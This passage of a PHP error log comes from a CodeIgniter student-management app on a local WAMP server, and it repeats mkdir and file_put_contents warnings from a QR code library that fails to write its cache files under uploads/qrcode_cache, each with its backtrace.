			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:50:49: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
